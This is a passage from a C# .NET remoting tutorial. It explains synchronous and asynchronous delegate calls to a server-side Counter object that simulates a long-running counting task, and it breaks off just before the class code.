Log in with the user name admin and the Grafana server admin password you created earlier. If you're using a local setup, the default password would be admin, and you'd be requested to change it on your first login.
Configure data source plugin
Once successfully logged in, you should see that the Azure Monitor data source plugin is already included.
Select Add data source to add and configure the Azure Monitor data source.
Pick a name for the data source and select Azure Monitor as the type from the dropdown.
Create a service principal - Grafana uses an Azure Active Directory service principal to connect to Azure Monitor APIs and collect data. You must create, or use an existing service principal, to manage access to your Azure resources.
- See these instructions to create a service principal. Copy and save your tenant ID (Directory ID), client ID (Application ID) and client secret (Application key value).
- See Assign application to role to assign the Reader role to the Azure Active Directory application on the subscription, resource group or resource you want to monitor. The Log Analytics API requires the Log Analytics Reader role, which includes the Reader role's permissions and adds to it.
Provide the connection details to the APIs you'd like to use. You can connect to all or to some of them.
If you connect to both metrics and logs in Azure Monitor, you can reuse the same credentials by selecting Same details as Azure Monitor API.
When configuring the plugin, you can indicate which Azure Cloud you would like the plugin to monitor (Public, Azure US Government, Azure Germany, or Azure China).
If you use Application Insights, you can also include your Application Insights API and application ID to collect Application Insights based metrics. For more information, see Getting your API key and Application ID.
Note
Some data source fields are named differently than their correlated Azure settings:
- Tenant ID is the Azure Directory ID
- Client ID is the Azure Active Directory Application ID
- Client Secret is the Azure Active Directory Application key value
If you use Application Insights, you can also include your Application Insights API and application ID to collect Application Insights based metrics. For more information, see Getting your API key and Application ID.
Select Save, and Grafana will test the credentials for each API. You should see a message similar to the following one.
Build a Grafana dashboard
Go to the Grafana Home page, and select New Dashboard.
In the new dashboard, select the Graph. You can try other charting options but this article uses Graph as an example.
A blank graph shows up on your dashboard. Click on the panel title and select Edit to enter the details of the data you want to plot in this graph chart.
Select the Azure Monitor data source you've configured.
Collecting Azure Monitor metrics - select Azure Monitor in the service dropdown. A list of selectors shows up, where you can select the resources and metric to monitor in this chart. To collect metrics from a VM, use the namespace Microsoft.Compute/VirtualMachines. Once you have selected VMs and metrics, you can start viewing their data in the dashboard.
Collecting Azure Monitor log data - select Azure Log Analytics in the service dropdown. Select the workspace you'd like to query and set the query text. You can copy here any log query you already have or create a new one. As you type in your query, IntelliSense will show up and suggest autocomplete options. Select the visualization type, Time series Table, and run the query.
Note
The default query provided with the plugin uses two macros: "$__timeFilter() and $__interval. These macros allow Grafana to dynamically calculate the time range and time grain, when you zoom in on part of a chart. You can remove these macros and use a standard time filter, such as TimeGenerated > ago(1h), but that means the graph would not support the zoom in feature.
Following is a simple dashboard with two charts. The one on left shows the CPU percentage of two VMs. The chart on the right shows the transactions in an Azure Storage account broken down by the Transaction API type.
Optional: Monitor your custom metrics in the same Grafana server
You can also install Telegraf and InfluxDB to collect and plot both custom and agent-based metrics same Grafana instance. There are many data source plugins that you can use to bring these metrics together in a dashboard.
You can also reuse this set up to include metrics from your Prometheus server. Use the Prometheus data source plugin in Grafana's plugin gallery.
Here are good reference articles on how to use Telegraf, InfluxDB, Prometheus, and Docker
How To Monitor System Metrics with the TICK Stack on Ubuntu 16.04
Monitor Docker resource metrics with Grafana, InfluxDB, and Telegraf
A monitoring solution for Docker hosts, containers, and containerized services
Here is an image of a full Grafana dashboard that has metrics from Azure Monitor and Application Insights.
Advanced Grafana features
Variables
Some query values can be selected through UI dropdowns, and updated in the query. Consider the following query as an example:
Usage | where $__timeFilter(TimeGenerated) | summarize total_KBytes=sum(Quantity)*1024 by bin(TimeGenerated, $__interval) | sort by TimeGenerated
You can configure a variable that will list all available Solution values, and then update your query to use it.
To create a new variable, click the dashboard's Settings button in the top right area, select Variables, and then New.
On the variable page, define the data source and query to run in order to get the list of values.
Once created, adjust the query to use the selected value(s) and your charts will respond accordingly:
Usage | where $__timeFilter(TimeGenerated) and Solution in ($Solutions) | summarize total_KBytes=sum(Quantity)*1024 by bin(TimeGenerated, $__interval) | sort by TimeGenerated
Create dashboard playlists
One of the many useful features of Grafana is the dashboard playlist. You can create multiple dashboards and add them to a playlist configuring an interval for each dashboard to show. Select Play to see the dashboards cycle through. You may want to display them on a large wall monitor to provide a status board for your group.
Clean up resources
If you've setup a Grafana environment on Azure, you are charged when VMs are running whether you are using them or not. To avoid incurring additional charges, clean up the resource group created in this article.
- From the left-hand menu in the Azure portal, click Resource groups and then click Grafana.
- On your resource group page, click Delete, type Grafana in the text box, and then click Delete.
Next steps
Feedback
We'd love to hear your thoughts. Choose the type you'd like to provide:
Our feedback system is built on GitHub Issues. Read more on our blog. | https://docs.microsoft.com/en-us/azure/azure-monitor/platform/grafana-plugin | CC-MAIN-2019-13 | refinedweb | 1,447 | 63.09 |
RE: Windows Vista Roaming Profiles
- From: v-robeli@xxxxxxxxxxxxxxxxxxxx (Robert Li [MSFT])
- Date: Thu, 06 Sep 2007 09:00:30 GMT
Hello Andrew,
Thanks for posting in our newsgroup.
Before we go further on this issue, please let me know the following to
make the situation more clearly:
1. You said "What I had done is create a folder on the server holding
desired desktop items until I had set the roaming profile up properly. I
put them in the profile folder on the server. " Did you do the following:
1) Configured a sample Vista workstation, then copied the standard user's
profile folder to SBS server.
2) Copy the contents in the folder to \\server-name\Profiles\username.
By default, \\server-name\Profiles\username can only be access by user
himself, how did you copy files?
2. When the vista user log off and log on again, will the last setting
never be saved? Only the you can see the items you copied before?
3. Do the Windows XP clients work well with roaming profile?
For the Vista user profiles name, please read the following:
The user profile namespace used in Windows XP is identical to the one used
in Windows 2000, making interoperability between the operating systems
transparent. However, the significant changes in the Windows Vista profile
namespace create a challenge. These significant changes prevent Windows
Vista from loading user profiles from previous versions of Windows. Also,
previous versions of Windows do not load Windows Vista user profiles.
Therefore, Windows Vista roaming user profiles will add "v2" to the end of
the profile folder. The "v2" is to used isolate Windows Vista roaming user
profiles from roaming user profiles created by previous operating systems.
More info:
Managing Roaming User Data Deployment Guide
d-dd3b6e8ca4dc1033.mspx?mfr=true
Based on my research, please take the following steps to narrow down this
issue:
Step 1: Please ensure you fully took the steps in the article below to
configure roaming profile for Vista users:
How to Configure a Roaming User Profile
d7-1d6f75d4bf061033.mspx?mfr=true
Step 2: Please logon Vita as domain user, then visit your profile folder
\\server-name\Profiles\username.V2, can you delete the older items
manually? If not, that's related to the NTFS and Share permission, please
have a check:
Profiles.V2 folder
NTFS Permissions:
Domain Admins: Full Control (Inherited)
System: Full Control (Inherited)
SBS Folder Operators: Full Control (Inherited)
Individual user: Full Control (Not Inherited)
If the problem persists, please help me collect the following information
for further research:
1. Export the Application Event log file and email it to me. To export the
application event log:
1) Click Start -> Run, type EVENTVWR.MSC and click OK.
2) Right click the Application Event, select Save Log File as, save it to
evt file.
3) Email me the file.
Please send the information to v-robeli@xxxxxxxxxxxxx with subject:
40360254-Windows Vista Roaming Profiles.: Windows Vista Roaming Profiles
<thread-index: AcfvhMpeBoqErO0rQCesBdpxDXiJLg==
<X-WBNR-Posting-Host: 207.46.19.168
<From: =?Utf-8?B?QW5kcmV3IE1jTmFi?= <AndrewMcNab@xxxxxxxxxxxxxxxxxxxxxxxxx>
<Subject: Windows Vista Roaming Profiles
<Date: Tue, 4 Sep 2007 23:20:01 -0700
<Lines: 26
<Message-ID: <F01FDC70-E7BF-4CDF-A4D9-8DE7733B59A03
<NNTP-Posting-Host: tk2msftsbfm01.phx.gbl 10.40.244.148
<X-Tomcat-NG: microsoft.public.windows.server.sbs
<
<I noticed a problem recently with Vista roaming profiles that i'm having
on
<my domain. When I initially setup the Vista machine, took a bit of messing
<around to get the system to log on and off properly without errors and
save
<things such as desktop background, gadgets etc. What I had done is create
a
<folder on the server holding desired desktop items until I had set the
<roaming profile up properly. I put them in the profile folder on the
server.
<I noticed that if I deleted certain items off the desktop, they would
<re-appear next time I logged in. I realised it was only the files I had
<initially copied manually that were reappearing.
<
<The profile is stated as being a roaming profile and it's status is
roaming.
<It is evident that when I log off, profile files and folders are not
<synchronised at all and the machine is using both a local copy of the
profile
<and anything residing in the roaming profile folder on the server. As for
my
<XP machines on the domain, each user folder has the user as the owner of
the
<folder with full control privilages. One other thing to note is that the
<account used on the Vista machine has it's profile folder defined as
<\\server-name\Profiles\username but Vista creates a folder called
<\\server-name\Profiles\username.V2 which doesn't occur on the XP machines.
<When logging on and off there are no visual warnings or anything shown in
the
<administrative logs of the Vista machine to indicate that there were
issues
<saving or loading the profile from the domain controller.
<
<I'm running SBS R2 with the latest updates and was wondering what I have
<neglected to do in terms of configuration specifically for Vista machines.
<Any advice would be great thanks :o)
<
.
- Prev by Date: Re: Win 2003 to SBS 2003 AD issues
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- Previous by thread: Re: SP2.. brand new install
- Next by thread: RE: Windows Vista Roaming Profiles
- Index(es): | http://www.tech-archive.net/Archive/Windows/microsoft.public.windows.server.sbs/2007-09/msg00723.html | crawl-002 | refinedweb | 903 | 53.61 |
Displaying text on a 16x2 LCD screen with a Raspberry Pi
Wiring the screen
To wire the display up, you'll need at least 9 gpio cables, but more than likely 13 for the full 8 bit mode operation. You'll also have to check the Raspberry Pi pinout numbers for the Pi4J library to see where to wire the screen up to, but essentially you can connect it to any gpio headers as long as they're not set up to be used with something else. Some peoples blog posts mention using the serial port gpio headers, but since my project already made use of those to control an SSC32 servo controller, I had to use other ports and it didn't seem to cause any issues.
As per the scren side of things, you'll need to read up on the screens Winstar techsheet or this other version for that, but essentially the pinout is as follows:
1: Ground
2: +5V
3: Not connected
4: RS
5: R/W
6: Strobe/Enable
7: Data1
8: Data2
9: Data3
10: Data4
11: Data5
12: Data6
13: Data7
14: Data8
15: Not connected
16: Not connected
Should end up something like this:
So I've used the following setup, note GPIO numbers refer the the Pi4J pin numbers, not the actual Raspberry Pi pin numbers, see the WiringPi documentation for reference:
Ground = VSS
Ground = RW
+5V = VDD
GPIO_08 = Strobe/Enable
GPIO_09 = RS
GPIO_29 = Data1
GPIO_28 = Data2
GPIO_27 = Data3
GPIO_26 = Data4
GPIO_25 = Data5
GPIO_24 = Data6
GPIO_23 = Data7
GPIO_22 = Data8
By sending RW to ground, we ensure that the screen/display is always set to read only mode and thus making sure that it does not attempt to send data to the Pi using a 5v data connection over the Pi's 3.3v IO pins and potentially cause damage.
Setting up the software
To use Pi4J you call install it into your project just by importing the jar files, but you'll also need WiringPi which for older versions of Pi4J, comes as part of the jar package but with more recent versions such as the most recent snapshot build, it has to be installed separately onto the Pi itself. The people behind the Pi4J project decided this was the best option because you'll be able to take advantage of newer WiringPi builds without having to upgrade the Pi4J libraries.
The main reason why you'd use the the snapshot version over the standard release build is because the latest release build doesn't have built in support for the BMC2835 chip as per this issue that's been posted on GitHub, it's an issue with the Raspberry Pi 3, model B, you'll get a message such as this:
Unable to determine hardware version. I see: Hardware : BCM2835
expecting BCM2708 or BCM2709.
If this is a genuine Raspberry Pi then please report this
to [email protected]. If this is not a Raspberry Pi then you
are on your own as wiringPi is designed to support the
Raspberry Pi ONLY
You must have WiringPi installed on your system as per the Pi4J release notes. You can install WiringPi using GIT or download and compile yourself. According to the WiringPi website you can install GIT using a simple 'apt-get install git-core' command but that probaby isn't going to work since it'll more than likely not find it. So if it's not available you'll have to download it from the website. That's Plan B on the download page where it explains you need to download the latest snapshot from here:;a=summary
The following instructions are from the WiringPi website, but I've duplicated here for redundancy and ease of use.
Once that's done you can test the installation using these commands:
$ gpio -v $ gpio readall
Now you can get back to focusing on using Pi4J and the benefits that the latest snapshot build has to offer.
The Java code
And for some example code, you should be able to use this class in your Java project as is and reference it straight away wothout any change as long a syou wire the screen up the same, if not, you'll have to make sure you update the GPIO numbers within the constructor.
package Utils; import System.Aimie; import com.pi4j.component.lcd.impl.GpioLcdDisplay; import com.pi4j.io.gpio.GpioController; import com.pi4j.io.gpio.GpioFactory; import com.pi4j.io.gpio.RaspiPin; public class Display { public final static int LCD_ROW_1 = 0; public final static int LCD_ROW_2 = 1; public final GpioLcdDisplay lcd; private final GpioController gpio; public Display() { // create gpio controller gpio = GpioFactory.getInstance(); lcd = new GpioLcdDisplay( 2, // number of row supported by LCD 16, // number of columns supported by LCD RaspiPin.GPIO_09, // LCD RS pin RaspiPin.GPIO_08, // LCD strobe pin RaspiPin.GPIO_29, // LCD data bit D0 RaspiPin.GPIO_28, // LCD data bit D1 RaspiPin.GPIO_27, // LCD data bit D2 RaspiPin.GPIO_26, // LCD data bit D3 RaspiPin.GPIO_25, // LCD data bit D4 RaspiPin.GPIO_24, // LCD data bit D5 RaspiPin.GPIO_23, // LCD data bit D6 RaspiPin.GPIO_22); // LCD data bit D7 } public void shutdown() { lcd.clear(); lcd.setCursorHome(); gpio.shutdown(); Aimie.display = null; } public void write(String value) { clear(); lcd.write(LCD_ROW_1, value); } public void write(int lineNumber, String value) { clear(); lcd.write(lineNumber, value); } public void writeln(String value) { clear(); lcd.writeln(LCD_ROW_1, value); } public void writeln(int lineNumber, String value) { clearln(lineNumber); lcd.writeln(lineNumber, value); } public void clear() { lcd.clear(); } public void clearln(int lineNumber) { lcd.clear(lineNumber); } }
As you can see the code is pretty simple.
Potential issues
You might find that your screen displays random text/characters/gibberish as per the image below, I didn't find a software fix for this, because although I had the four data cables connected for 4 bit opperation, it was seemingly still trying to run in 8 bit mode, so my fix for this was to just connect the other 4 cables. I mean, it's not like the Pi doesn't have enough IO ports.
Once you've connected all 8 data cables, you might have to completely shut down the Pi and turn off power to both the screen and the Pi, then turn it on again, or it might continue to display rubbish on screen.
Published at 5 Jun 2018, 08:06 AM
Tags: Java,Robot,Raspberry Pi,Pi4J
| https://lukealderton.com/blog/posts/2018/june/displaying-text-on-a-16x2-lcd-screen-with-a-raspberry-pi/ | CC-MAIN-2022-40 | refinedweb | 1,069 | 57.91 |
I have just written small program that reads txt file and populates vector of strings (STL). Everything was ok. when I worked with small files but when I incresed size of file after 13988 lines program looks like frozen :-( Could someone put on this issue some light ? I tried to change vector to different structure i.e. list or stack but without success - stil the same behavior. Does anyone know where is problem ?
Code:#include <string> #include <iostream> #include <ctime> #include <fstream> #include <vector> #include <stdexcept> using namespace std; int main(void) { clock_t start, end, time; char logLine[512]; int nOfLine = 0, nOfOmitedLine = 0; long int i = 0; vector<string> serverLog; start = clock(); // start clock system ("cls"); /* Or system ("clear"); for Unix */ // // Open the file and check for errors // ifstream logFile("srv.log"); if (!logFile) { throw invalid_argument("Unable to open file\n"); } // // read log lines from server.log to vector // while(!logFile.eof()) // read log lines from server.log to vector { logFile.getline(logLine,512); nOfLine++; if (strncmp(logLine, "T\t", 2) == 0) { serverLog.push_back(logLine); cout << serverLog.size() << endl; } else { nOfOmitedLine++; } } logFile.close(); end = clock(); // stop clock time = ( end - start ) / CLOCKS_PER_SEC; //compute time of execution cout << "Vector size: " << serverLog.size() << endl; cout << "Vector capacity: " << serverLog.capacity() << endl; cout << "Number of read lines: " << nOfLine << endl; cout << "Number of omited lines: " << nOfOmitedLine << endl; if (time < 1) { cout << "Time (sec): < 1"<< endl; } else { cout << "Time (sec): " << time << endl; } return(0); } | http://cboard.cprogramming.com/cplusplus-programming/69858-small-program-big-problem.html | CC-MAIN-2015-18 | refinedweb | 238 | 67.25 |
A collection of Pi generators.
Project description
PiGen : Generators For Digits of Pi
Overview
A small collection of generators and functions for digits of pi. Maybe you’ve an art or math project and need to generate a few thousand to a few million digits of pi? This will help with that.
Generators
Spigot’s Algorithm | pigen.spigot_pi
- spigot_pi is a generator function.
- Useful when you only need a single digit at a time.
- Not as fast as frac_pi but a classic…
from pigen import spigot_pi as spi pi_gen = spi() for _ in range(100): # Let's iterate through the first 100 digits of pi. digit = next(pi_gen) # do something with digit
Fractional Continuation | pigen.frac_pi
- frac_pi is a generator function.
- Useful when you only need a single digit at a time.
- Fastest single digit generator currently in the package.
- You can pass your own lambda functions for other well behaved irrational numbers!
- You can specify the base for output as well, i.e., decimal, hex, etc.
from pigen import frac_pi as fpi pi_gen = fpi() for _ in range(100): # Let's iterate through the first 100 digits of pi. digit = next(pi_gen) # do something with digit # We can pass lambdas to get different transcendental numbers. # The golden ratio phi_gen = fpi(lambda a: 1, lambda b: 1, base=10) for _ in range(1000): # Let's iterate through the first 1000 digits of phi. digit = next(phi_gen) # do something with digit
Chudnovsky’s Binary Search | pigen.chudnovsky_pi
- chudnovsky_pi is a regular function.
- Useful if you need many digits at once.
- The absolute fastest across the board. If you need a million
- digits or more, this has got you covered.
- You need only pass the number of digits you’d like to generate.
- Makes heavy use of gmpy2 and the associated libs. Very fast but you may need to install other platform specific dependencies.
from pigen import chudnovsky_pi as cpibs n = 1000000 n_pi_digits = cpi(n) # An integer `n` digits long containing digits of pi
Other
- Free software: MIT license
- TODO
- CLI
- Examples
Credits
- The Chudnovsky’s BS Algorithm was pulled and updated from an example by Nick Craig-Wood.
History
0.1.2 (2020-01-27)
- First release on PyPI.
- Completely removed slower Chudnovsky function. It didn’t generate the correct sequence.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/pigen/ | CC-MAIN-2021-17 | refinedweb | 410 | 67.86 |
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Ask your questions, our development team will try to give answers to your questions. | http://www.roseindia.net/tutorialhelp/comment/92325 | CC-MAIN-2013-20 | refinedweb | 819 | 64 |
One way of understanding the workflow is to think of sfc_models as the analysis backbone of a computer-aided design program. The user "drags and drops" economic sectors into a model, and then the framework incorporates the outcome. The user can then drill into a particular sector's settings to get more precise control of the outcome. (Such a graphical interface may be built, but the model code needs to be solidified first.)
This article runs through the simplest possible models that we can create ("Hello World!"), and shows how to use the log files to understand how the framework builds models based on high level code.
Note on Example CodeThe example in the next section is taken from the file intro_3_03_hello_world_1.py. Like all of my other examples, it is found in the examples.scripts directory of sfc_models.
Since all of the examples coexist within a single directory, I use a long-winded naming scheme. The intro_3_03 part of the file name tells us that these examples are to be included in Section 3.3 of Introduction to SFC Models Using Python. Also, please note that this code will only work with Version 0.4.1 or later of sfc_models. The logging command used is new.
UPDATE: In the latest versions of sfc_models (>= 0.4.3), it is possible to run a GUI (dialog boxes) to choose where to install examples. In versions greater than 0.4.3 (which will probably arrive shortly after this article was published) use:
from sfc_models import *
install_examples()
In Version 0.4.3, you need to use:
from sfc_models.objects import *
install_examples()
Video Demo Of A Similar ExampleThis video shows how I run a simple example from within PyCharm. In this case, I built the example up line-by-line, rather than using my prebuilt examples.
Hello World!The following code block is the simplest possible model you can build with sfc_models.
[From intro_3_03_hello_world_1.py:]
# This next line looks bizarre, but is needed for backwards
# compatibility with Python 2.7.
from __future__ import print_function
import sfc_models
from sfc_models.models import Model
print('*Starting up logging*')
# Log files are based on name of this module.
sfc_models.register_standard_logs(output_dir='output',
base_file_name=__file__)
print('*Build Model*')
mod = Model()
print('*Running main()*')
print('*(This will cause a warning...)*')
mod.main()
The actual work is done in these lines (the remainder are print commands and set up):
mod = Model()
mod.main()
These two lines do the following:
- Create a Model object, assign it to the variable mod.
- Call the "main()" method of mod. The main method does most of the heavy lifting of the framework, as it builds a mathematical model based on the information embedded in that Model object. The name "main" is perhaps not descriptive, but it is following programming tradition.
Running this script generates the output (for versions after 0.4.1):
python intro_3_03_hello_world_1.py
*Starting up logging*
*Build Model*
*Running main()*
*(This will cause a warning...)*
Warning triggered: There are no equations in the system.
Process finished with exit code 0
Warning triggered: There are no equations in the system.
(Note: In earlier versions of the code, the main() call will actually trigger an error in this case; the framework was unhappy with no equations in the system.)
This warning message is somewhat to be expected: we created a Model object, and incorporated no information into it. Obviously, there should not be any equations associated with it.
However, it cannot be said that that there was no other output; however, that output has been shunted to a log file. I will now return to the following function call.
sfc_models.register_standard_logs(output_dir='output',
base_file_name=__file__)
The function register_standard_logs tells the framework to get ready to build a standard set of log files. (You can register only particular logs if you want more precise control of logging.) The function has two parameters:
- output_dir: which is the directory where the output goes. (In this example, "output".)
- base_file_name: What is the base name to be used for all logs. I pass into it the __file__ variable, which is the full file name of the Python module. The register_standard_logs function ignores the directory component of the file name, as well as the extension.
When I looked into the output subdirectory, we see the following files were created.
There are three text files, whose names are based upon the file name of the source file.
- The file ending with "_eqn.txt" is the list of equations in the Model. (Not very interesting in this case.)
- The file end with "_out.txt" is a tab-delimited text file with the time series generated by the model, which can be imported into a spreadsheet. (Also not interesting due to the lack of equations in this case.) This sort of file is often called a csv file, but the usual convention for a csv is to use commas to separate entries. However, the use of commas as a file delimiter is a disaster (for example, commas are used instead of "." for the decimal point in French).
- The file ending with "_log.txt" is the log file, which I will discuss next.
Entity Created: <class 'sfc_models.models.Model'> ID = 0
Starting Model main()
Generating FullSector codes (Model._GenerateFullSectorCodes()
Model._GenerateEquations()
Fixing aliases (Model._FixAliases)
Model._GenerateRegisteredCashFlows()
Adding 0 cash flows to sectors
Processing 0 exogenous variables
Model._CreateFinalEquations()
Generating 0 initial conditions
Error or Warning raised:
Traceback (most recent call last):
File "c:\Python33\lib\site-packages\sfc_models\models.py", line 140, in main
self.FinalEquations = self._CreateFinalEquations()
File "c:\Python33\lib\site-packages\sfc_models\models.py", line 499, in _CreateFinalEquations
raise Warning('There are no equations in the system.')
Warning: There are no equations in the system.
The first line of code (mod = Model()) resulted in one line in the log.
Entity Created: <class 'sfc_models.models.Model'> ID = 0
The creation of the Model object was noted; it turns out the Model is an Entity as well, and it was assigned the ID of 0. This numeric ID is designed to provide an easy way to distinguish the objects that are created in the code.
The rest of the log was triggered by running main(). A few operations were run, but they did nothing since there were no equations within the system. This lack of equations was diagnosed, and we end with Raise Warning.
A Non-Empty ModelWe then step to the next example, intro_3_03_hello_world_2.py.
from __future__ import print_function
import sfc_models
from sfc_models.models import Model, Country
from sfc_models.sector_definitions import Household
sfc_models.register_standard_logs(output_dir='output',
base_file_name=__file__)
# Start work.
mod = Model()
can = Country(mod, 'Canada', 'CA')
household = Household(can, 'Household Sector', 'HH',
alpha_income=.7, alpha_fin=.3)
mod.main()
This code add two new lines.
- A Country object (can) is added to the Model (mod).
- A Household (a type of Sector) is added the Country, and assigned to the variable name household. There are two parameters associated with the household; the propensity to consume out of income (alpha_income), and the propensity to consume out of financial wealth (alpha_fin).
In the output subdirectory, there are three new files generated. The '_out.txt' file now contains some time series that can be viewed in a spreadsheet program, and the equation file has equations. I will only look at the log file ('_log.txt').
In Version 0.4.1 of sfc_models, the log file starts with:
Entity Created: <class 'sfc_models.models.Model'> ID = 0
Entity Created: <class 'sfc_models.models.Country'> ID = 1
Adding Country: CA ID=1
Entity Created: <class 'sfc_models.sector_definitions.Household'> ID = 2
Adding Sector HH To Country CA
We see that three Entity objects are being created. The creation of the Household causes a small flurry of activity. Variables are being added.
[ID=2] Variable Added: F = F=LAG_F # Financial assets # Financial assets
[ID=2] Variable Added: INC = INC=0.0 # Income (PreTax) # Income (PreTax)
[ID=2] Variable Added: LAG_F = F(k-1) # Previous periods financial assets.
Registering cash flow exclusion: DEM_GOOD for ID=2
[ID=2] Variable Added: AlphaIncome = 0.7000 # Parameter for consumption out of income
[ID=2] Variable Added: AlphaFin = 0.3000 # Parameter for consumption out of financial assets
[ID=2] Variable Added: DEM_GOOD = AlphaIncome * AfterTax + AlphaFin * LAG_F # Expenditure on goods consumption
[ID=2] Variable Added: AfterTax = INC - T # Aftertax income
[ID=2] Variable Added: T = # Taxes paid.
[ID=2] Variable Added: SUP_LAB = 0. # Supply of Labour
Calling main() actually leads to some work, and the framework solves the equations, one step at a time. This is not actually very difficult, since everything other than the time axis consist of constants. The log file continues.
Starting Model main()
Generating FullSector codes (Model._GenerateFullSectorCodes()
Model._GenerateEquations()
Fixing aliases (Model._FixAliases)
Model._GenerateRegisteredCashFlows()
Adding 0 cash flows to sectors
Processing 0 exogenous variables
Model._CreateFinalEquations()
Generating 0 initial conditions
_FinalEquationFormatting()
Set Initial Conditions
Step: 1
Number of iterations: 1
Step: 2
Number of iterations: 1
The log then keeps going.
However, the equations being solved are not particularly interesting. The reason is that a single sector model does not lead to any interesting activity within the framework; the convention is that economic activity is the result of interactions of sectors. This may not be intuitive if you are thinking in terms of the real world household sector; people will undertake all sorts of activities on their own. (Some of these activities will show up in the national accounts.) We need to drop this real world intuition, and focus on the more abstract model behaviour, where activity is mainly between sectors.
The natural extension would be to drop in a business sector to the model; we can then have the interactions between the two sectors. The next example (intro_3_03_hello_world_3.py) attempts to do this.
from __future__ import print_function
import sfc_models
from sfc_models.models import Model, Country
from sfc_models.sector_definitions import Household, FixedMarginBusiness
sfc_models.register_standard_logs(output_dir='output',
base_file_name=__file__)
mod = Model()
can = Country(mod, 'Canada', 'CA')
household = Household(can, 'Household Sector', 'HH',
alpha_income=.7, alpha_fin=.3)
business = FixedMarginBusiness(can, 'Business Sector', 'BUS')
mod.main()
When run, this generates a warning:
Warning triggered: Business BUS Cannot Find Market for GOOD
[NOTE: this will only hold on versions greater than 0.4.1; in Version 0.4.1 and below, the warning is actually an error.]
Looking at the relevant part of the log file, we see.
Starting Model main()
Generating FullSector codes (Model._GenerateFullSectorCodes()
Model._GenerateEquations()
Searching for Market Sector with Code GOOD in parent country
Error or Warning raised:
[Error trace deleted]
...
raise Warning('Business {0} Cannot Find Market for {1}'.format(self.Code, self.OutputName))
Warning: Business BUS Cannot Find Market for GOOD
That is, the business sector started searching for a Market sector (with the Code 'GOOD') , and it could not find it. (A business sector by default produces an output with the code 'GOOD', the name of the output can be overridden by passing a new code to use.)
This log file information tells us something about the design of the sfc_models framework. It is not enough to define economic Sectors within our code, we need to add Market objects (or other objects) to allow the sectors to interact. In this case, the business sector assumes that there is a market for its output; otherwise the sector will do nothing. (No point in hiring workers to produce an output that you cannot sell.)
The final "Hello World" example (intro_3_03_hello_world_4.py) creates a goods market to fix that warning.
# NOTE: If you have an older version of sfc_models, you
# may need to replace this import line with specific imports
from sfc_models.objects import *
sfc_models.register_standard_logs(output_dir='output',
base_file_name=__file__)
mod = Model()
can = Country(mod, 'Canada', 'CA')
household = Household(can, 'Household Sector', 'HH',
alpha_income=.7, alpha_fin=.3)
business = FixedMarginBusiness(can, 'Business Sector', 'BUS')
market = Market(can, 'Goods Market', 'GOOD')
mod.main()
When run, we once again get no output on the console: there are no warnings or errors generated. (This could potentially change in future versions; the model is heavily under-determined, as discussed below.) If one examines the log file (or the equations file), we can see that the addition of the Market in goods has caused the framework to add equations linking the supply of goods from the business sector to the demand from the household sector.
However, this model is not really functional; any number of small changes (such as setting initial conditions away from zero) will result in there being no solution to the set of equations. The reason is that we are still missing some key components.
- We need a labour market ('LAB') that also links the business and household sectors.
- There are no supply constraints within this version of the business sector; until we add in something to stop an inherent positive feedback loop in the private sector, activity would be infinite (and hence the equations will not converge).
Unless the users switches to using other implementations for the business and household sector, the simplest working model is effectively Model SIM, which is taken from Chapter 3 of Godley and Lavoie's Monetary Economics. This model is implemented in sfc_models.gl_book.chapter3.py. [It also implemented in Section 3.2 of my book, as well as in other posts on bondeconomics.com, such as this article, although the code sample is based on an earlier version of the library. I will fix my examples on the website to match Version 1.0 when it is ready.].
Oops, yes, I dropped the import line.
Good to know that there's no problems with Linux. The only major different will be file path naming; but as long as I avoid hard-coding local paths, I am OK.
I believe that "from sfc_models.objects import *" will work on the latest packaged edition. Not considered best practice, but it makes example code like this shorter..
Hello,
I'm wondering if there is an issue with Python update.
Indeed, basic codes doesn't work anymore, with the following error raised each time while I'm trying to define a sector (such as household = Household(can, 'HH', 'Household Sector')):
"NotImplementedError: Non-simple parsing not done"
Have you any idea how to fix this issue please?
Best regards,
Thomas
Hello, I’m on my phone, so can’t do much immediately.
Something changed in a Python library, and my code broke. I think my latest versions are OK. You could try running from my latest GitHub version. I will take a look, and should post a note on this today.
Hello - out of curiosity, what version of Python are you using? I will be putting up an article shortly. | http://www.bondeconomics.com/2017/03/understanding-sfcmodels-framework.html | CC-MAIN-2021-21 | refinedweb | 2,435 | 58.08 |
Name | Synopsis | Description | Usage | Return Values | Attributes | See Also
#include <stdlib.h> int getpw(uid_t uid, char *buf);
The getpw() function searches the user data base for a user id number that equals uid, copies the line of the password file in which uid was found into the array pointed to by buf, and returns 0. getpw() returns non-zero if uid cannot be found.
This function is included only for compatibility with prior systems and should not be used; the functions described on the getpwnam(3C) manual page should be used instead.
If the /etc/passwd and the /etc/group files have a plus sign (+) for the NIS entry, then getpwent() and getgrent() will not return NULL when the end of file is reached. See getpwnam(3C).
The getpw() function returns non-zero on error.
See attributes(5) for descriptions of the following attributes:
getpwnam(3C), passwd(4), attributes(5)
Name | Synopsis | Description | Usage | Return Values | Attributes | See Also | http://docs.oracle.com/cd/E19082-01/819-2243/6n4i0992u/index.html | CC-MAIN-2014-35 | refinedweb | 160 | 50.06 |
1. Introduction
In this article, I explain how will you use delegate on the functions exposed by the remote object. Also, I will explain how do we call those remote object functions in a synchronous way and in an asynchronous way. I do not want to explain threading here. But below is a very short note about Sync and Async function calls:
- The client function that makes a call to the remote function will wait for the completion of the remote function. This is a Synchronous call to the function exposed by the remote object.
- The client function that makes a call to the remote function will not wait for the completion of the remote function. This is Asynchronous call the function.
2. About the example
The Server in this example exposes a function that prints a running count taking some time. You can think of this function as long running task on the server. The function is just to simulate the long running process situation.
The client has two buttons and one function is calling the remote function in a synchronous way and other does the same in the Asynchronous way. The client uses the delegate of the same type to make a call to the remote functions.
When you click the Start Sync button, the count will be running on the server and once it is finished, the count on the form starts. The server shows the running count in the console window and client shows it in the text box. So, here the client will wait for the server completed the counts.
When you click the Start Async button, the count will run in parallel between a server and the calling client. That means, after the call the client will not wait for the server to complete its task.
3. Codes for The Server
The code for the server is similar to previous examples. So you will not see much explanation here repeated again. If you need much explanation on the server, please have a look at the First remoting article.
1) In the server, after creating the project a class called Counter is added and it is derived from MarshalByRef object. In the counter.cs file required namespace is included. This Counter class acts as the Remote class.
//RemSrv 01: Include required assemblies using System.Runtime.Remoting;
2) The class has a constructor and a method PerformCount. This method will be called from the client using delegates. We will see about that in detail when we are moving to the client side coding. The code for this class is given below:
